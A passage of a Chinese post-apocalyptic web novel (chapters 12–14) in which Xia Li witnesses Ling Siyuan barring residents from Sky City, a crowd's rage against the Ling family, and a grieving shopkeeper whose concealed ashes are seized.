夏荔浑身颤抖,当她反应过来时,她手里已经紧紧握住了一把从厨房拿来的剔骨刀。
她愣了一下,感觉自己处于一种奇怪的情绪中。
她在害怕,在看到那双深
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紫眼睛的瞬间就感觉到了害怕。但她从小一直情绪很淡,这害怕不是来自于她的内心,而是来自于她的……身体。
身体里的血液流得很快,似乎有什么在血液里窜动,除了恐惧还有别的,具体体现在她拿出了一把刀。
看到花花也被从向阳楼里带出来后,夏荔关好窗,放下刀,急匆匆跑下楼。
维安队和空卫司围在那里,小区正门肯定出不去,但夏荔来这里工作的第一天就把小区走了一遍,知道还有一个门可以绕出去,在维安队围起来的圈子外。
刚从那个门口出来,夏荔就在一片哭声和骂声中被花哥拉住了胳膊,拉到了墙边,“夏荔,你没事吧?”
“花哥,我没事,花花呢?”这里聚集了很多人,夏荔踮起脚尖向里看,“他在做什么?”
她在楼上时,除了那句“凌司渊你这个疯子”,其他的话都没听到,不知道这究竟是在做什么。
“做标记。”花哥先指向那个夏荔上午看到的西装男人,“他说,只要被凌司渊做了标记,就去不了天空城了。花花没事,她连特异人都不是,也没有妈妈了,凌司渊对这种孩子连标记都懒得标记,直接让人带到一边了。”
夏荔果然看到花花正和十几个小孩一起站在墙角那里,其中好几个夏荔都眼熟,在向阳楼负二楼收尸时看到过。
如果平日看到他们站在角落会担心他们是不是被孤立,此时那里成了最安全的地方。
“那个西装男在这里有16个特异人孩子,这些孩子全都不能去天空城了。”花哥混迹于基地最混乱的K区多年,轻易看出了那个男人的心思,“所以他喊出了凌司渊的名字,还说出了被凌司渊标记就再也去不了天空城。”
于是有了那一句句“我们要去天空城”,以及孩子们的哭声。
此时哭的已经不仅是孩子们,随着越来越多的孩子和女人被标记,女人们也开始绝望地哭泣怒骂。
如果有其他可以好好活下去的路,谁又愿意来向阳楼。明明已经抓住唯一的希望,谁又能看到它被毁灭。
“我要去天空城!你凭什么不让我去天空城!”当又一个孕妇被带到凌司渊面前时,她边挣扎边愤恨地说:“你知道我生孩子有多痛苦吗?你知道我……你凭什么一抬手就断了我的路?”
那个手指还是无动于衷地落在了她的额头。
悲怆绝望的哭声随之响起,“凌司渊你怎么不去死?你怎么还活着?你最该死啊!”
这一道哭喊声太凄厉,压得其他哭声好像停止了,圈内和外围越来越多的人看着她泪流满面的地哭、悲、恨。
当她哭喊得失去力气,身体匍匐在地上,哭声要无望地消逝时,人群中忽然想起一道激愤的:“一鲸落而万物生!”
夏荔来K-3区第一天晚上,就在一面墙上看到了一行血字:“一鲸落而万物生,凌家人必须死。”
“一鲸落而万物生!”又一人激喊道。
K-3区不仅那一面墙上有这种涂鸦。
“一鲸落而万物生!”
“一鲸落而万物生!”
“一鲸落而万物生!”
……
越来越多的人举起胳膊大喊着这句话,太多人了,好像围过来的所有K-3区人都在喊,声音如潮,冲垮K-3区的黑夜,冲向了更远处,一路唤醒了越来越多的灯光。
今晚,内层的城区也听到了来自K-3区的嘶喊。
12. 第 12 章
声潮中心的人睫毛未被喧嚣的夜风惊扰,睫毛之下深紫色的眼睛如幽深的寒潭般,无风无浪的冷寂。
他修长苍白的手指看着像是落在琴键上艺术家的手,按下,按下,没有唯美的音符,只有希望破灭的哭喊。
嘶喊愈加愤恨嘹亮,仿佛凌司渊毁掉的不仅向阳楼中人的希望,还是他们所有人,是整个K-3区仅有的那一点微弱希望。
面对这样的疯狂和恨意,最外层维安队的人已经乱了队,慌了神,开始有人后退,撞到了身后身如坚松的空卫军。
一圈空卫司的空卫军双手举枪,第一秒是右手的枪响,一百朵巨大的紫色烟花炸裂了漆黑的夜空,紫色的裂痕下坠、膨胀,变成紫色灰尘,如漫天Purple笼罩了他们。
十八年间病毒Purple造成人类的几乎灭绝性的死亡,在每一个人心底植入了最深的恐怖,只是状若Purple,这样兜头而下,就已经让好多人惊恐四散。
“嘭!嘭!嘭!嘭!——”
接连十三发紫色烟雾弹后,换成了左手的枪响,在人群的惊恐中,刺耳很多的枪响后,紫色的弹壳带着未尽的硝烟味纷纷掉落,和Purple深入人心的恐惧不同,这是真实的死亡武器。
声浪乱了、小了,即将熄灭。
最后一个白胖的男婴儿被带到凌司渊面前,凌司渊的手指即将落到他的额头上。
西装男人猛地向前,刚向前踏了一步就被空卫司的人架住向后拉,他的声音如划破混乱夜幕的刀:“疯子!凌司渊你会成为人类的罪人,不,你早就是人类的罪人了!你们凌家就是人类的罪人!”
凌司渊的手指无动于衷地那个孩子额头上落下又移开,垂头用湿纸巾慢慢擦着自己的手指,“一夫一妻的婚姻制度还没被废。”
他抬起头,深紫色的眼睛看向向阳楼那些哭泣的人,看向远处更多愤恨或恐惧的人,在浓紫眼睛的衬托下,神情寡淡如鲜血边的残雪,“天空城的投靠落户,仅指在基地户籍科登记过的妻子、特异人子女,望悉知。”
西装男红着眼愤声问:“你这个疯子睁眼看看!看看这个基地!你以为可笑的婚姻制度还能维持多久?它早就名存实亡了!”
凌司渊早已在愤怒的问声中抬脚,这个问题如夜风从他耳边经过,他未曾倾耳,也不曾抬眸。
“他向我们这边走了。”花哥不由说了一句,刚想叫夏荔后退让开,转头发现夏荔已经跑了,跑出了挺远一段路。
他从没见夏荔跑这么快过。
花哥:“……夏荔?”
跑回出租屋后,夏荔直奔床头,从枕头下掏出她熟悉的尖刀,她心里才安稳了些。
花哥追上来,见她拿着刀,惊讶地问她:“夏荔你要做什么?”
夏荔张了张嘴,“我不做什么,我也没想做什么。”
只是她看到凌司渊向她这边走来时,那股害怕又冒出来了,以及,她……她听到了什么声音,立即跑到窗口向外看。
夏荔跑得最早最快,花哥紧跟着,当两人跑到夏荔的出租屋,站在窗口向外看时,凌司渊才走过来。
人群被维安队的人挡在身后,他走在最前面,身后跟着持枪戒备的空卫司。这条街道的灯第一次全部亮起,在深夜里找照出了空卫司的肃杀,他们身上好像还留着刚才枪弹的硝烟气。
最前面的凌司渊没有这种感觉,他像是在深夜里散步的人,身上只有轻微的夜凉,不经意朝这边看了过来。
夏荔握紧了手里的尖刀,看到凌司渊薄薄的眼皮微微上掀,好像看向了她更上面。
更上面,她的窗户上……
夏荔的胳膊被花哥拽了下来,他第一次语气那么严重,“夏荔你对着他拿刀,知道有多危险吗?”
夏荔才反应过来,凌司渊的身影已经消失在了灯光逐渐模糊的夜里,而她手里还紧攥着尖刀。她松了松手里的刀,才发觉掌心潮湿,“对不起花哥,让你担心了,我刚才只是害怕。”
“真的?”花哥不确定地问:“夏荔,你不是鲸落会的吧?”
“鲸落会”这个名字夏荔第一次听,但她好像已经很熟悉了。她搬来一个椅子给花哥坐,拿了两瓶水,一瓶给花哥,先说:“花哥,我不是。”
说完她小口小口喝了几口水,压下身体里莫名的害怕和激动,才问:“花哥,鲸落会是什么?”
“这要从18年前开始说。”花哥从收到向阳楼的消息就开始担心,刚才又追着夏荔跑上来,气息还没稳,他也喝了几口水缓和,才细致地跟夏荔说起鲸落会。
“18年前,病毒Purple还未蔓延之前,凌家的飞凌生物是当时国内最大的生物医药公司,天空之城就是从飞凌生物一家医药研究所上起来的,并且听说凌家人对天空城有绝对的控制权。”
“很多人因此以为,病毒Purple是凌家的医药公司研究制造出来的,天空城又证明他们有办法防范病毒,可他们并不把防范病毒的方法公开,还严控天空城人口的流入。”
所以,西装男说凌家人是人类的罪人。
所以,有了K-3区城墙上的“一鲸落而万物生,凌家人必须死”,以及夏荔窗户上面架在“凌司渊”三个字上的两把血刀。
“好像不对。”夏荔发现了这里面的漏洞,“病毒Purple最初爆发的地点不是春禹城吗?离基地很远,也就是说不是从飞凌生物蔓延出去的。”
“是啊。”花哥说,“这些都是[听说],真真假假谁也不知道,但是鲸落会的出现一点都不意外,在绝望中活下去,人总得靠着点什么,或许是爱,或许是……恨,尤其是在K区,K区是鲸落会成员最多的地方,在ABC区应该很少。”
夏荔“嗯”了一声,点点头。
之前她在C区住过一段时间,别说见到鲸落会的标记和人,她都没听过鲸落会。她之前的队友和遇到的小队好像也不知道,他们一心想去天空城,对那里存在无限的向往和敬畏。
而在K-3区,夏荔来这里的第一天就看到了鲸落会的痕迹。
刚才那阵阵声潮又在脑海里回荡,今晚过后,k-3区鲸落会的成员应该会更多。
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花哥说:“这几天维安队应该会加强治安管理,你最近遇到鲸落会的成员离得远一点,以及,别在齐老板那里买大货了。”
“我记住了。”夏荔想到凌司渊走时在她窗户上看那一眼,问花哥:“我要不要买点油漆把窗口那涂鸦覆盖掉。”
对这个问题,花哥看起来也挺纠结,最终他说:“我的建议是不要。鲸落会里有不少挺疯狂的人,如果他们看到你特意把他们画的东西弄没了,不知道会做出什么。既然你不是鲸落会的人,涂鸦也不是你画的,就算空卫司注意到也不会对你怎么样,很多人能证明那不是你画的。”
夏荔想了一下,点点头,“我听花哥的。”
夏荔再次站到窗口向外看,夜风里没了那硝烟味,显得萧条,夏荔感受着好像更寒凉的夜风,看着人群退散,问花哥:“花哥,以后向阳楼不复存在了吗?”
“人类是最会钻漏洞的生物。”花哥也站起来,看向外面的向阳楼,“在K区的某个地方,还会有类似向阳楼的地方出现,但是这个……这样的向阳楼不会再有了,它那么高。”
花哥比划了一下高度。
基地以天空城为中心建设,天空城高耸入云,紧紧围着天空城的A区地势也很高,从A区到K区地势逐渐变低,人类居住的欲望也跟着地势变低。
由此,基地的人都向往高处,目标就是一步步往高处爬,高处在基地人心里位置比以往更高。
即便在被称为基地洼地的K区内,也是地势越高的地方越好。
向阳楼就建在K-3区地势最高的地域。
它是所有“向阳楼”里最高的,也是做的最好的,是被第一个抓典型的。
以后可能还会有类似向阳楼的地方出现,但这个被凌司渊亲自带空卫司“销毁”的向阳楼,不可能再运作了。
花哥轻声感慨:“其实,我不知道这是好事还是坏事。”
夏荔说:“我也不知道。”
如果是站得很高很高的人,天空城研究院的人、正统中央厅的人,他们或许有更宏大的观点,作为一个普通的很渺小的人,她只看到了向阳楼里一群女人的喜和悲伤,孩子的明和暗——她不知道。
“但对于夏荔你来说,可能是好事,当然如果我猜错的话,就是坏事了。”花哥说。
夏荔转头,她的眼睛没有被疯狂的仇恨鼓动,也没被恐惧侵袭,安静而专注地看着他。
她这种认真倾听的样子,每次都让花哥愿意知无不言言无不尽,“你看到我给你发的消息了吗?是向阳楼里有人看上你了。向阳楼背后水很深,有钱有权有靠山,如果你不愿意,他们不知道会怎么做。现在向阳楼被掀了,这个隐患就没了。”
“要是这样说的话,凌司渊算是帮了你,虽然不是他主观意愿上的。”花哥说。
凌司渊,帮了她?
那双深紫幽冷的眼睛一下冒出来,夏荔应激般地颤了一下,身体上的恐惧和奇怪的感觉又来了,她把袖口攥进了掌心里。
夏荔很感谢他,但,希望以后还是不要再见到他了。
13. 第 13 章
人群散开,维安队的人也走了后,夏荔回到向阳楼大门,想看看花花怎么样了。
还没到门口,她就听到了哭声,来自向阳楼里面。
大门外面没什么人了,被清理得很干净的地面上仰躺着一个男人,走近了,夏荔才看清是那个穿西装的男人。
他不像白天看到的那么优雅,也不像前面面对凌司渊那么愤恨有力,他躺在地上,像是失去了所有力气,也可能是自己主动放走了所有力气,空虚虚地躺在那里。
夏荔没关注他,她已经看了花花,花花还在等她,和她一起的还有几个孩子。
看到她后,他们一起跑向她,抱住她。
夏荔由他们抱了一会儿,稍稍挣开一点,和他们一起坐在地上,观察着他们。
向阳楼里还有哭声,这几个孩子一个都没哭。向阳楼里的人哭是因为去天空城的希望破灭,而这几个孩子从没有过希望。
可能是上午收尸时被贴过,孩子们都喜欢贴着她,不管是之前见没见过的。夏荔安静地被他们贴着,感觉是被一群热烘烘柔软的小猫贴着,并不讨厌这种感觉。
旁边那个西装男转头看了一会儿,或许是误会了什么,他说:“我跟向阳楼的管事说,如果你能生下一个我的孩子,不管是不是特异人,我都会带你们去天空城。”
“可惜,目前看来这个方法行不通了,不然我……”
“抱歉先生,我要可能打断您一下。”夏荔被孩子们贴着,没有回头,她说:“我并不愿意跟您生孩子,所以您不必做这样的假设。”
西装男停了一下,问:“能去天空城也不愿意吗?”
夏荔:“嗯。”
“嗯”字很轻,很容易被夜风带走,但没有犹豫地顺从内心地飘出来,自由坚定。
“为什么?”西装男有了力气一样,锲而不舍地问:“你不想去天空城吗?”
“说不想也想。”虽然是个不认识的人,夏荔也没有隐藏或说谎,她如实说:“没那么想。”
就算她很想去,她也不会用这个方法。
夏荔学东西的方法很简单,从书上和人上。前二十年,她没什么接触人的机会,很多东西都是从书上学的。后面她有机会接触很多人了,开始从人上学一些东西和事。
从别人口中,从接触的人身上,然后思考记下。
她从万娇娇身上学到的一件事就是,不要把自己的任何人生希望寄托在生孩子上。
而且,“很抱歉先生,我也不想和您生。”
向阳楼的哭声弱了,夜更安静了。
几个孩子安静地听着,他们应该不懂夏荔和西装男人在说什么,但这是从他们还没出生开始,贯穿他们短暂生命的话题,他们好像听得动懂,当听到“生孩子”三个字时,会贴得和抓得夏荔更紧。
西装男连最后的力气都没了,他摊在地上,仰头看着黑濛濛什么都看不到的夜空,好久,说:“也好。”
向阳楼的大门被从里面打开,孩子们的老师站在门口看了眼他们,对孩子们招招手,“王高空,你们该回来睡觉了。”
孩子们进向阳楼后,夏荔起身回去,她对躺在地上的男人说:“晚安。”
西装男在地上翻了个身,头枕着手臂对夏荔说:“晚安,祝你有个好梦。”
即将下台阶时,夏荔看到待在垃圾桶里的男人探头出来,她对他也说:“晚安。”
垃圾桶里的男人问:“我紫了吗?”
夏荔第一次清楚地看到他的眼睛,有些亮,夏荔正要回答他时忽然抬头看向高远处。
来K-3区那天,夏荔坐在3号线上,看到了天空城上一块土的坠落,可那时她离天空城很近,此时她在K区,基地里离天空城最远的地方,依然看到了灯光璀璨的天空城上土地的坠落。
必然是很大一块土地的坠落才能让她看到,而且不仅一块,看到那一块接一块的土地坠落,夏荔耳畔已经响起它们轰隆坠地的巨响。
不仅是她,躺在地上的西装男、坐在垃圾桶里的男人,向阳楼里纷纷打开每一扇窗户后的人,他身后好多窗户后的人,都在看着。
从K区向中心一路的城区的人都在看着,比今晚来自K-3区的嘶喊更瞩目。
夏荔看到好多人脸上透出的不再是激动和好奇,而是震惊,以及恐慌和担忧。
看到天空城坠落一块土地时,附近对天空城趋之若鹜的人会兴奋,可天空成这样好像要坍塌一样的大范围坠落,带来的是群体性的恐慌。
它是向往。
它是绝望环境中的唯一净土,是应许之地。
即便没法上去,也是很多人心中作为希望存在的地方。
如果天空城没了,这个世界好像真的再也没有希望和期待了。
夏荔站的这个地方,一个小时前还是震天的嘶喊,此时是比夜晚还深的沉默。
今晚的K-3区从未有过的鼎沸,今晚的K-3区比以往还寂静。
夏荔往回走时,只听到身后躺在地上的西装男嘴里在重复一句话。
“疯子。”
如花哥预料,第二天维安队果然加强整个K-3区的治安管理,维安员们不像平日里那般懒散无作为,好像维安员比之前多了一样,每条街都能看到他们巡逻的身影。
听说凌司渊昨晚就离开了K-3区,但还有一部分空卫司留在这里,继续寻找类似向阳楼的存在。
夏荔问花哥:[维安队是不是怕空卫司?]
花哥回:[谁不想上天空城呢?而且空卫司在权限和武力上确实高于维安队,外出的空卫军小队几乎全是特异人。]
夏荔:[我懂了花哥,维安队是因为空卫司才这么认真,也可以说他们是做给空卫司看的。]
花哥:[聪明。我们夏荔也能看懂这些了。]
夏荔眨了下眼,在花哥那里她好像是个不谙世事的孩子。
花哥那么厉害,或许早就看出她没怎么跟人交往过,但对她的认知或许稍有保守。
夏荔:[谢谢花哥为我解惑。]
花哥:[这两天如果没重要的事,最好不要再出门逛了。]
夏荔:[好。]
一个小时后,花哥:[抱歉,夏荔,你
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还是出来一下吧。]
混乱的K区并不是说每天都有人打架斗狠,这里比其他城区绝望的氛围更浓,绝望之下是死亡弥漫的寂静。整个K-3区热闹的只有交易所。
K区的交易所比其他城区规范的交易所人还要多,是因为这里货多,还有很多人知道这里能找到一些在其他城区不能交易的违禁品。
因而,K-3区的交易所就成了这次维安队表演的重点舞台。
[齐老板被举是鲸落会的成员,在交易所售卖违禁品。]
[维安队第一个去他那里搜查。]
[这个老油条一件大货都没被查出,说他不知道什么是鲸落会。]
[但维安队查出他私藏骨灰。]
夏荔跟花哥收过几次尸,每次去收尸前,花哥会联系好官方焚化车,他们把尸体送进焚化车就完成了一次收尸工作,不用向家属交代骨灰的去处。
家属没法拥有骨灰,基地一直如此。
禁止私藏骨灰,这是写在基地法规里的。
这条法规的出现源于人类的无知和傲慢导致过的不只一次灾祸,也源于人类对病毒Purple的恐惧。
曾经人类以为处理被污染即将死亡的人,是在他死亡前一秒把他封闭起来,等人死后推进焚化炉,在超高温焚化炉中,尸体里的病毒Purple也会被消灭。
一个老人带着儿子的骨灰项链,死在教堂。
一个和她挨着坐的老人,死在家里的厨房。
在厨房等奶奶做饭的小孩,死在去叫爸爸的路上。
一个雇佣兵死在抱儿子跑向医院的路上。
……
能把人体身体焚化成灰的温度杀不死病毒Purple,被污染死亡之人新出炉的骨灰中可能藏着活性很大的病毒,禁止私人私藏,即便那是最亲之人最后的念想。
上次夏荔去齐老板的杂货铺看书桌时,看到了一张供桌,上面有放着妻子和女儿灵位,齐老板的卧铺就紧紧挨着供桌,枕头挤着供桌腿,那里是杂乱杂货铺里唯一纤尘不染的地方。
杂物堆得乱七八糟,想找个东西都难,那里的褥子却没有褶皱,被子叠成豆腐块。好像曾有一位妻子站在床铺前正在数落男人,男人笑嘻嘻或者愁眉苦脸,总归是听话地一次次把被子叠好。
不叠好,老婆要生气的。
夏荔赶到齐老货杂货铺时,这里隔着两三米的距离围了好多人,杂货铺里两个维安员正举着抢对着齐老板。
齐老板坐在倒地的供桌旁,双手双臂紧紧抱着一个白色的枕头,枕头下面有些灰烬,或许是太用力了,他颤抖的手和胳膊上暴起根根青筋,他的额头上也是,他眼底一片干涸的红,红得像是眼底裂开了,“开枪!开枪啊!我就、我就这点了啊!”
夏荔握紧传呼机,上面花哥给她发的最后一条消息,她还没关。
[骨灰是齐老板老婆和女儿的。他的女儿在两岁的时候被拐,他和老婆天南海北地找女儿找了13年,终于找到她时,她已经被病毒污染了,齐老板的老婆紧紧抱着女儿,女儿先死的,老婆在同一天死亡。]
14. 第 14 章
骨灰藏在枕头里,工作积极的维安员在搜违禁品时发现了它。
枕头已经被划破,骨灰掉出来一些,维安员们要收缴骨灰,可齐老板发疯了一样冲上去,把已经破了的枕头紧紧抱在怀里,死也不交出去。
看他那个样子,是真的死也不会交出去。
这样下去,他就不是私藏骨灰那么简单了。
两个维安员给枪上膛,将枪口对准齐老板的脑袋。其中一人说:“齐老板,我最后说一次,将违禁品骨灰交出来。”
齐老板紧抱枕头时,上半身用力向下弯着,如果不是他坐着,都要匍匐下去了,不给别人从任何角度抢走骨灰的可能。听到维安员的话,他抬起头,看维安员时,却看到了站在维安员旁边的夏荔。
他的眼睛一下变得更红,湿润的红,松垮的脸皮和眼皮开始颤抖。
夏荔走到他面前蹲下。
维安员:“喂!”
他刚想让夏荔走开,不要妨碍他们,就看到刚才还在发疯的固执老头,像是被撬开了一道裂口的蚌,露出了他柔软脆弱的内里,泪水聚集在他眼里。
夏荔的手伸到枪口和齐老板脑袋中间,她安抚性地轻轻拍了拍齐老板的脑袋,然后拽住齐老板怀里的枕头,“放手吧,齐老板。”
眼泪从齐老板浑浊泛红的眼睛里汹涌地溢出,他声音苍老喑哑,但像个小孩一样无助,“夏荔,夏荔,我……”
“放手吧,齐老板。”夏荔再次这样说。
齐老板眼泪流得更凶,泪水在他布满沟壑的眼周纵横坠落,颤抖的他力气逐渐放松,枕头被夏荔拽了出来,失去枕头那一刻,他似乎难以喘息地发出一道低哑闷长的呜咽。
维安员立即用封闭袋把枕头装进去密封好。
“齐老板,你私藏骨灰,违反基地安全法,请跟我们走一趟吧。”那个维安员似乎跟齐老板有点熟悉,他收起枪,对齐老板说:“这次你又少不了要蹲个一年半载了。”
夏荔:“没有。”
维安员看向她:“什么没有?”
夏荔:“齐老板没有违背基地安全法。”
“证据都在这里了,他私藏骨灰还能有假?”另一个维安员态度算不上好,他看起来有些着急,“快走!”
夏荔看向齐老板,他瘫坐在倒地的供桌上旁,垂着头,看不见他的脸,只能看到眼泪随着肩膀的颤抖,滴滴掉落在脏了的床褥上。
夏荔回头,她抿了下唇,说:“那不是人的骨灰。”
她的声音刚落下的瞬间,齐老板身体颤抖的幅度更大了,像是身体里有什么轰然倒塌,他双手抱住脑袋,身体蜷缩成团状,声音像从破风箱里挤出来的,“不,不不,不要说,是的,就是啊……”
维安员惊讶,看齐老板的反应,这骨灰好像真有问题,但又不太相信,不相信人为什么会供奉这么久的假骨灰,还发疯了地护着,不相信夏荔怎么看看就知道这不是人的骨灰。
“你怎么知道这不是人的骨灰?”
夏荔不知道是不是还在那道呜咽中没出来,她张嘴却没回答,站在旁边的花哥立即上前,他先将杂货店里的一个毛毯蒙头盖住齐老板,然后跟维安员说:“她跟我一起收尸,经常向焚化车里送尸体,见过很正常。”
其实不太正常,花哥和夏荔一起收尸时,夏荔没见过骨灰。
他也不知道夏荔为什么会看出那不是骨灰。
夏荔:“如果你们不相信,可以去检测。”
围观的人很多,在没确定这是骨灰之前,两个维安员没有抓齐老板,他们只带走了那个枕头里的骨灰,继续去其他摊位检查。
交易所另一处传来不满的叫嚷,成了新的关注点,杂货铺安静下来。
齐老板蒙在毛毯之下,两人都没掀开毛毯,也没跟他说话。
夏荔帮齐老板收拾乱成一团的杂货铺,花哥见状给她打下手。两人都干过保洁,又一起收过几次尸,没用多久,就默契又专业地帮齐老板收拾好了,只剩下供桌和床褥那里。
花哥蹲在蒙在毛毯里的齐老板面前,“喂!你真是鲸落会的啊?”
夏荔搬了个小马扎坐在一边听。
齐老板没直接说是不是,过了好一会儿,他的声音从毛毯里传出来,“我女儿叫宝安,我们给她起这个名字,希望我们的宝贝能安安康康的,就这么简单的期待。”
听他的声音平静了许多,但他嗓子像是被生活的风磨碎了,嘶哑破碎。
“可她被拐了,又被卖了,还被病毒污染了。我们找了她十三年,十三年……”说到“十三年”时,他又哽咽了一下,“十三年,我老婆从大学生模样找到满头白发,薄薄的脸皮上找不到肉,全是皱纹。”
“当我们终于找到她时,她却对我们说别过来。”
“别过来。”
女孩坐在那里不抬头,只是肩膀一个劲地抖,太多年没见,他们不了解她,不知道她是哭得,还是怕得。她只说:“别过来。”
“别过来。”
“我被污染了。”
“我老婆冲过去紧紧抱着她,她死在了我老婆怀里,我老婆就是不愿意松手,最后和女儿裹在一起,在她死去后,两人一起火化了。”齐老板说:“当时看着她们在塑封袋被带走,我就在想,凌家人为什么不愿意公开对付病毒的方法啊?到底为什么啊?”
“如果他们早点公开,那一天,是我们真正团圆的日子,是……大喜的日子啊!”
而不是,被刻在灵位上。
夏荔伸手拍了拍齐老板的肩膀。
“你怎么知道凌家有对付病毒的方法?”花哥呛他,“他们要是有方法,为什么不公开?看着人类全死亡,他们一家孤零零活在世上很好玩?”
不给齐老板说话的机会,花哥继续说:“那些资本家肯定是希望人越多越好,这样他们的牛马和韭菜才会更多。你也算半个资本家了,你怎么不懂呢?”
“你又知道了?”花哥两句话成功让齐老板跟他吵了起来,“你以为你是万事通啊?”
夏荔坐在马扎上安静地听他们吵架,这时候要是有个芋泥饼就好了,她饿了。
夏荔没告诉任何人,吃着芋泥饼听花哥和齐老板吵架,是她很喜欢的事。
这样不好,所以夏荔只
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是偷偷喜欢。
十几分钟后,两人终于吵完了。齐老板或是声音嘶哑,或许是之前跟维安员吵架浪费了太多精力,这次没吵过花哥。他闷闷——物理上和心理上双重闷——地坐了一会儿,伸手捡起一个今早刚到,还没来得及上供桌就被掀翻的苹果。
他把那个苹果向左递给夏荔,又捡起一个向前递给花哥,最后捡起一个握在手里。
夏荔拿着苹果看着,齐老板很用力地握着苹果,他力气已经耗尽了,用力时手是抖的,过了十几秒后,他把苹果送到口中。
今早刚到的苹果很新鲜,汁水充沛,一口一口咬下去,苹果水滴滴落在他开裂的虎口,可能一整个苹果的汁水都滴下来了,染湿了齐老板唐装的袖口。
那里是苹果味的,夏荔没有闻到。
她嘴里是苹果味,她小口小口地吃着,不舍得让苹果汁流下来。
花哥三两口就把苹果吃完了。
夏荔看出来他赶时间,对他说:“花哥,我在这里陪齐老板,你去忙吧。”
“好。”花哥说:“你陪他我很放心,今天他要好好感谢你,等下大宰他一顿。”
夏荔点点头。
花哥走后,夏荔正了正身子,认真对齐老板说:“齐老板,我要大宰你了。”
齐老板:“……怎么宰?我没有很多钱的!”
“不要钱。”夏荔说:“我想要一些植物。”
病毒Purple最爱人类的身体,但也会污染动物,以及少量植物。早些年,Purple造成大规模死亡,给人类带来的巨大恐慌,让基地烧死了几乎所有植物,动物的血浸染过基地每一寸土。
根据基地污染法,擅自将动植物带入基地,未经许可私下养育动植物,将永远失去基地居住权。
所以,想要植物还挺难,也挺费钱——植物必须是经过研究院培育、检测的。
夏荔需要齐老板的帮助。
“植物?什么植物?”齐老板问。
“最好是开花的植物。”夏荔想了想,“要是向阳花就好了……”
齐老板没能给夏荔找来向阳花,这种花研究院还没外放,整个基地都没有。
他给夏荔找来五盆洋甘菊,洋甘菊刚到交易所那天早上,他就跑着给夏荔送来了。
正好那天花哥正帮夏荔在窗户上钉花架。窗户上那一块涂鸦,夏荔听花哥的建议,不打算用油漆涂掉,她只是隔着几厘米的距离,在那里安装了一个长形花架。
当五盆洋甘菊摆上去后,向那里看过去,看到的不再是两把血色长刀组成的“×”和底下的“凌司渊”三个黑字,而是一排洋甘菊密簇簇的小花。
洋甘菊散发着令人安心的香气,有着明黄色的圆花心,和一圈白色纤薄的小花瓣,白色花瓣看起来又小又脆弱,可就因为它的纤薄,可以自由随风摇摆,可以让并不强烈的阳光透过,晕开层层薄光。
夏荔看着它们,“真好看啊。”
过了几十秒,她身边的齐老板:“嗯。”
声音又低又轻,会被春风吹散了一样。
吹散了也好,随风自由。